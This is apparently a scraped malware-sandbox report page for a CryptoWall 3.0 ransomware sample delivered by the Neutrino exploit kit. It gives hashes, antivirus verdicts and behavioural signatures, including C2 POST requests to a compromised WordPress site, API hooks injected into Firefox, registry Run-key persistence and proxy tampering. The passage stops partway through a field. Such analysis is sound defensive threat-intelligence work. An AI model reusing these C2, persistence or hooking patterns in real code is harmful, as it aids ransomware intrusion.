24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 29:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4ea,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_100% Sample 65e882dce05d… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 65e882dce05d…. Malware family: Win/malicious_confidence_100%. Threat score 100/100. 20/29 AV engines flagged this file. 14 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/65e882dce05d76e49d2e1695012784f2b4c83f2271748f118b3965f3ed241529","keywords":["Malicious","Win/malicious_confidence_100%","malware analysis","sandbox report","threat intelligence","65e882dce05d76e49d2e1695012784f2b4c83f2271748f118b3965f3ed241529"],"about":{"@type":"SoftwareApplication","name":"2015-08-19-Neutrino-EK-payload-CryptoWall-3.0.exe","applicationCategory":["peexe","executable"],"identifier":"65e882dce05d76e49d2e1695012784f2b4c83f2271748f118b3965f3ed241529","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Win/malicious_confidence_100%","antivirusDetections":{"malicious":20,"total":29},"behavioralIndicators":{"malicious":14,"suspicious":20},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:Tcc1,"POST /wp-content/uploads/rrrr.php?k=ayg0rgokoop HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded Connection: Close Content-Length: 138 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: majorleaguehomerepair.com Cache-Control: no-cache" with no payload "POST /wp-content/uploads/rrrr.php?a=3fwqno43a91 HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded Connection: Close Content-Length: 98 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: majorleaguehomerepair.com Cache-Control: no-cache" with no payload "POST /wp-content/uploads/rrrr.php?v=s5w84w3ky31yc22 HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded Connection: Close Content-Length: 164 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: majorleaguehomerepair.com Cache-Control: no-cache" with no payload "POST /wp-content/uploads/rrrr.php?d=j2tmduzafxzyie HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded Connection: Close Content-Length: 98 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: majorleaguehomerepair.com Cache-Control: no-cache" with no payload "POST /wp-content/uploads/rrrr.php?l=ksmfrjlgu2kn8 HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded Connection: Close Content-Length: 94 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: majorleaguehomerepair.com Cache-Control: no-cache" with no payload "POST /wp-content/uploads/rrrr.php?e=oajalw5aw78hf HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded Connection: Close Content-Length: 94 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: majorleaguehomerepair.com Cache-Control: no-cache" with no payload "POST /wp-content/uploads/rrrr.php?u=d86qxai1851 HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded Connection: Close Content-Length: 112 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: majorleaguehomerepair.com Cache-Control: no-cache" with no payload "POST / HTTP/1.1 Host: ocsp.digicert.com User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:35.0) Gecko/20100101 Firefox/35.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Length: 83 Content-Type: application/ocsp-request Connection: keep-alive" with no payload26:T419,"firefox.exe" wrote bytes "12C2240090E941" to virtual address "0x77B66A73" (part of module "NTDLL.DLL") "firefox.exe" wrote bytes "E94293B1F0" to virtual address "0x77B662C8" ("NtReadFileScatter@ntdll.dll") "firefox.exe" wrote bytes "12C2140090E963" to virtual address "0x77B65FE3" (part of module "NTDLL.DLL") "firefox.exe" wrote bytes "E90D1B02F1EBF9" to virtual address "0x77582FB1" (part of module "KERNEL32.DLL") "firefox.exe" wrote bytes "E9D1C1EBF1EBF9" to virtual address "0x766E884B" (part of module "GDI32.DLL") "firefox.exe" wrote bytes "12C2240090E942" to virtual address "0x77B662C3" (part of module "NTDLL.DLL") "firefox.exe" wrote bytes "E963610FF0" to virtual address "0x77B65FE8" ("NtQueryFullAttributesFile@ntdll.dll") "firefox.exe" wrote bytes "E9418BB1F0" to virtual address "0x77B66A78" ("NtWriteFileGather@ntdll.dll") "firefox.exe" wrote bytes "E973600FF0" to virtual address "0x77B662B8" ("NtReadFile@ntdll.dll") "firefox.exe" wrote bytes "9090909090E92E" to virtual address "0x776E4B59" (part of module "USER32.DLL")27:T51b,"svchost.exe" (Access type: "QUERYVAL", Path: "\REGISTRY\USER\S-1-5-21-4162757579-3804539371-4239455898-1000\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE", Key: "SCAVENGECACHEFILELIMIT") "svchost.exe" (Access type: "QUERYVAL", Path: "\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE", Key: "SCAVENGECACHEFILELIMIT") "svchost.exe" (Access type: "QUERYVAL", Path: "\REGISTRY\USER\S-1-5-21-4162757579-3804539371-4239455898-1000\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS", Key: "DISABLECACHINGOFSSLPAGES") "svchost.exe" (Access type: "QUERYVAL", Path: "\REGISTRY\USER\S-1-5-21-4162757579-3804539371-4239455898-1000\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS", Key: "BYPASSHTTPNOCACHECHECK") "svchost.exe" (Access type: "QUERYVAL", Path: "\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS", Key: "BYPASSHTTPNOCACHECHECK") "svchost.exe" (Access type: "QUERYVAL", Path: "\REGISTRY\USER\S-1-5-21-4162757579-3804539371-4239455898-1000\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS", Key: "BYPASSSSLNOCACHECHECK") "svchost.exe" (Access type: "QUERYVAL", Path: "\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS", Key: "BYPASSSSLNOCACHECHECK")28:T660,Found malicious artifacts related to "96.17.10.26" (ASN: 20940, Owner: Akamai International B.V.): ... URL: http://www.xilinx.com/scr/search?output=xml_no_dtd&ie=UTF-8&oe=UTF-8&getfields=*&filter=0&emsingleres=/scr&proxyreload=0&num=600&resultsView=partnersgeography&proxyfiltergroup=partnergeography_dynamicnav&requiredfields=Region.ProductType:Design%20Services&site=IPLocator&client=partnerlayout&proxystylesheet=partnerlayout&UUID=5582691603901937805 (AV positives: 1/63 scanned on 08/19/2015 19:28:35) URL: http://baltimore.orioles.mlb.com/ticketing/singlegame.jsp (AV positives: 1/63 scanned on 08/19/2015 19:27:36) URL: http://www.xilinx.com/itp/xilinx10/isehelp/ism_r_tb_waveform_editor_view.htm (AV positives: 1/63 scanned on 08/19/2015 19:25:47) URL: http://www.xilinx.com/products/technology/high-speed-serial.html (AV positives: 1/63 scanned on 08/19/2015 19:18:51) URL: http://www.xilinx.com/csi/header.htm (AV positives: 1/63 scanned on 08/19/2015 19:01:02) File SHA256: 3dcdc9c9206ee8a8646ff1ef56c391637630f94d11d0f2ea681d57ecd42fdc8a (AV positives: 10/55 scanned on 08/19/2015 14:05:30) File SHA256: 126288c84d08f1bdc3df5f5a0f67192baac1b652ccc27f6fe17e4ef565b8be1b (AV positives: 17/57 scanned on 08/19/2015 13:24:06) File SHA256: 9750a5ecfdbe5f84827942ae336647d5a241a130c012bb24b29bebbd152a4a62 (AV positives: 6/57 scanned on 08/19/2015 13:17:04) File SHA256: e04a8ee49c5f18594fbe576f768214bbbbca162d15503ed01a4047ff177fd163 (AV positives: 1/56 scanned on 08/18/2015 23:32:11) File SHA256: ec4db868d76ffcfb26037c43d9a0376b711799c9016cc5229ffc3534c8061503 (AV positives: 1/57 scanned on 08/18/2015 17:30:38)1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"65e882dce05d76e49d2e1695012784f2b4c83f2271748f118b3965f3ed241529","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790538318773,"unified_at":"2026-09-27T19:45:18.773Z","metadata":{"hashes":{"sha256":"65e882dce05d76e49d2e1695012784f2b4c83f2271748f118b3965f3ed241529","sha1":"4fe5c4df431289961954f0a35741c767847a6e22","md5":"4211d94ebfaa799ff390f8d5d7f51dc6","sha512":"527fb15c5498abc18bcbdcb6cb00de0f4d07ffa59fe9eb03f275b395e1aacc3ec9a19a3a5d874e8e24fe5bae5ebee4d1b49f2a0f4e526c59a5a4b926cd7da31d","ssdeep":"3072:glsHwGX8y8fX/X/myJVvlLzqz+wotWb1pfVASrlctgPzwA:gnC8fXfvl3qKtWbrVdxygPkA","ssdeep_chunks":["3072:glsHwGX","3072:lsHwGX8","3072:sHwGX8y","3072:HwGX8y8","3072:wGX8y8f","3072:GX8y8fX","3072:X8y8fX/","3072:8y8fX/X","3072:y8fX/X/","3072:8fX/X/m","3072:fX/X/my","3072:X/X/myJ","3072:/X/myJV","3072:X/myJVv","3072:/myJVvl","3072:myJVvlL","3072:yJVvlLz","3072:JVvlLzq","3072:VvlLzqz","3072:vlLzqz+","3072:lLzqz+w","3072:Lzqz+wo","3072:zqz+wot","3072:qz+wotW","3072:z+wotWb","3072:+wotWb1","3072:wotWb1p","3072:otWb1pf","3072:tWb1pfV","3072:Wb1pfVA","3072:b1pfVAS","3072:1pfVASr","3072:pfVASrl","3072:fVASrlc","3072:VASrlct","3072:ASrlctg","3072:SrlctgP","3072:rlctgPz","3072:lctgPzw","3072:ctgPzwA","6144:glsHwGX","6144:lsHwGX8","6144:sHwGX8y","6144:HwGX8y8","6144:wGX8y8f","6144:GX8y8fX","6144:X8y8fX/","6144:8y8fX/X","6144:y8fX/X/","6144:8fX/X/m","6144:fX/X/my","6144:X/X/myJ","6144:/X/myJV","6144:X/myJVv","6144:/myJVvl","6144:myJVvlL","6144:yJVvlLz","6144:JVvlLzq","6144:VvlLzqz","6144:vlLzqz+","6144:lLzqz+w","6144:Lzqz+wo","6144:zqz+wot","6144:qz+wotW","6144:z+wotWb","6144:+wotWb1","6144:wotWb1p","6144:otWb1pf","6144:tWb1pfV","6144:Wb1pfVA","6144:b1pfVAS","6144:1pfVASr","6144:pfVASrl","6144:fVASrlc","6144:VASrlct","6144:ASrlctg","6144:SrlctgP","6144:rlctgPz","6144:lctgPzw","6144:ctgPzwA","3072:gnC8fXf","3072:nC8fXfv","3072:C8fXfvl","3072:8fXfvl3","3072:fXfvl3q","3072:Xfvl3qK","3072:fvl3qKt","3072:vl3qKtW","3072:l3qKtWb","3072:3qKtWbr","3072:qKtWbrV","3072:KtWbrVd","3072:tWbrVdx","3072:WbrVdxy","3072:brVdxyg","3072:rVdxygP","3072:VdxygPk","3072:dxygPkA"],"imphash":"b39e21bc38423d1bb61145d32b4cdb9b"},"file_info":{"file_name":"2015-08-19-Neutrino-EK-payload-CryptoWall-3.0.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":157800,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1499292672000,"last_seen":1663805551000,"last_multi_scan":1663805551000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":null},"stats":{"av":{"malicious_count":20,"suspicious_count":0,"total_engines":29},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":8,"suspicious_count":20,"malicious_count":14,"total":42},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.TGeneric","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1205348","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.Cripack.Gen.1","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bytehero":{"name":"ByteHero","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (D)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.Cripack.Gen.1 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"Win32/Filecoder.CryptoWall.D trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ikarus":{"name":"IKARUS","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Filecoder","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 004ce5421 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan.Win32.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"Packed-EW!4211D94EBFAA","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Cryptodef.dvolwh","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"quickheal":{"name":"Quick Heal","success":true,"verdict":"malicious","threat_name":"Ransome.Teerac.PS4","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Mal/Tinba-N","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"symantec":{"name":"Symantec","success":true,"verdict":"malicious","threat_name":"Heur.AdvML.B","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"TROJ_CR.FBD9B3AE","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"TROJ_CR.FBD9B3AE","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Crypt_s.JAN","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"BScope.Trojan.Downloader","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xvirusantimalware":{"name":"Xvirus Anti-Malware","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Cryptodef.Win32.1134","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Win/malicious_confidence_100%","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"General","name":"Contacts domains","description":"\"ip-addr.es\"\n \"majorleaguehomerepair.com\"\n \"ocsp.digicert.com\"\n \"6i3cb6owitcouepv.spatopayforwin.com\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"},{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"188.165.164.184:80\"\n \"70.32.98.120:80\"\n \"96.17.10.26:80\"\n \"54.218.34.87:443\"\n \"63.245.215.95:443\"\n \"72.21.91.29:80\"\n \"64.233.186.93:443\"\n \"63.245.217.219:443\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"},{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"Local\\WininetStartupMutex\"\n \"Local\\WininetConnectionMutex\"\n \"Local\\WininetProxyRegistryMutex\"\n \"Local\\ZonesCounterMutex\"\n \"Local\\ZoneAttributeCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\c:!users!pspubws!appdata!roaming!microsoft!windows!ietldcache!\"\n \"IESQMMUTEX_0_208\"\n \"Local\\FirefoxStartupMutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"},{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"\"GET / HTTP/1.1\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\nHost: ip-addr.es\nCache-Control: no-cache\"","origin":"Network Traffic","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"},{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"level":"informative","category":"General","name":"Launches a browser","description":"Launches browser \"firefox.exe\" (UID: 00603671-00002252)","origin":"Monitored Target","relevance":3,"id":"target-21","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".rsrc with unusual entropies 7.92438004182","origin":"Static Parser","relevance":10,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"},{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"\" (Path: \"\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\", Key: \"MACHINEGUID\")\n \"svchost.exe\" (Path: \"\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\", Key: \"MACHINEGUID\")\n \"vssadmin.exe\" (Path: \"\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\", Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"},{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"level":"suspicious","category":"General","name":"POSTs files to a webserver","description":"$25","origin":"Network Traffic","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"},{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"explorer.exe\" (Access type: \"SETVAL\", Path: \"\\REGISTRY\\USER\\S-1-5-21-4162757579-3804539371-4239455898-1000\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\", Key: \"DDACA0A\", Value: \"C:\\ddaca0ad\\ddaca0ad.exe\")\n \"explorer.exe\" (Access type: \"SETVAL\", Path: \"\\REGISTRY\\USER\\S-1-5-21-4162757579-3804539371-4239455898-1000\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\", Key: \"*DACA0A\", Value: \"C:\\ddaca0ad\\ddaca0ad.exe\")\n \"explorer.exe\" (Access type: \"SETVAL\", Path: \"\\REGISTRY\\USER\\S-1-5-21-4162757579-3804539371-4239455898-1000\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\", Key: \"DDACA0AD\", Value: \"C:\\Users\\PSPUBWS\\AppData\\Roaming\\ddaca0ad.exe\")\n \"explorer.exe\" (Access type: \"SETVAL\", Path: \"\\REGISTRY\\USER\\S-1-5-21-4162757579-3804539371-4239455898-1000\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\", Key: \"*DACA0AD\", Value: \"C:\\Users\\PSPUBWS\\AppData\\Roaming\\ddaca0ad.exe\")","origin":"Registry Access","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"level":"suspicious","category":"Network Related","name":"Found potential URL in binary/memory","description":"\"T.ao\"","origin":"File/Memory","relevance":2,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"},{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 188.165.164.184 on port 80 is sent without HTTP header\n TCP traffic to 70.32.98.120 on port 80 is sent without HTTP header\n TCP traffic to 96.17.10.26 on port 80 is sent without HTTP header\n TCP traffic to 54.218.34.87 on port 443 is sent without HTTP header\n TCP traffic to 63.245.215.95 on port 443 is sent without HTTP header\n TCP traffic to 72.21.91.29 on port 80 is sent without HTTP header\n TCP traffic to 64.233.186.93 on port 443 is sent without HTTP header\n TCP traffic to 63.245.217.219 on port 443 is sent without HTTP header","origin":"Network Traffic","relevance":10,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"svchost.exe\" (Path: \"\\REGISTRY\\USER\\S-1-5-21-4162757579-3804539371-4239455898-1000\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\", Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"level":"suspicious","category":"System Security","name":"Hooks API calls","description":"\"NtReadFileScatter@ntdll.dll\" in \"firefox.exe\"\n \"NtQueryFullAttributesFile@ntdll.dll\" in \"firefox.exe\"\n \"NtWriteFileGather@ntdll.dll\" in \"firefox.exe\"\n \"NtReadFile@ntdll.dll\" in \"firefox.exe\"\n \"GetWindowInfo@USER32.dll\" in \"firefox.exe\"\n \"NtFlushBuffersFile@ntdll.dll\" in \"firefox.exe\"","origin":"Hook Detection","relevance":10,"id":"hooks-0","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"svchost.exe\" (Access type: \"SETVAL\", Path: \"\\REGISTRY\\USER\\S-1-5-21-4162757579-3804539371-4239455898-1000\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\", Key: \"PROXYENABLE\", Value: \"00000000\")\n \"svchost.exe\" (Access type: \"DELETEVAL\", Path: \"\\REGISTRY\\USER\\S-1-5-21-4162757579-3804539371-4239455898-1000\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\", Key: \"PROXYSERVER\")\n \"svchost.exe\" (Access type: \"DELETEVAL\", Path: \"\\REGISTRY\\USER\\S-1-5-21-4162757579-3804539371-4239455898-1000\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\", Key: \"PROXYOVERRIDE\")\n \"svchost.exe\" (Access type: \"DELETEVAL\", Path: \"\\REGISTRY\\USER\\S-1-5-21-4162757579-3804539371-4239455898-1000\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\", Key: \"PROXYBYPASS\")\n \"svchost.exe\" (Access type: \"DELETEVAL\", Path: \"\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\", Key: \"PROXYBYPASS\")","origin":"Registry 